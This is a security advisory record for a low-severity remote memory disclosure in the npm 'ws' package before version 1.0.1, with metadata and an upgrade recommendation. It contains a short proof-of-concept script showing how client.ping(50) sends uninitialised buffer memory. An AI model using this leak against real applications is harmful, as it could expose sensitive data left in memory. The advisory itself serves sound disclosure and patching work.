GHSA-2mhh-w6q8-5hxw

Suggest an improvement
Source
https://github.com/advisories/GHSA-2mhh-w6q8-5hxw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-2mhh-w6q8-5hxw/GHSA-2mhh-w6q8-5hxw.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-2mhh-w6q8-5hxw
Aliases
Published
2019-02-18T23:56:42Z
Modified
2023-11-01T04:46:33.606096Z
Summary
Remote Memory Disclosure in ws
Details

Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.

Proof of Concept

var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
  console.log('open')
  client.ping(50) // this sends a non-zeroed buffer of 50 bytes

  client.on('pong', function (data) {
    console.log('got pong')
    console.log(data) // Data from the client. 
  })
})

Recommendation

Update to version 1.0.1 or greater.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-201"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:52:34Z"
}
References

Affected packages

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.0.1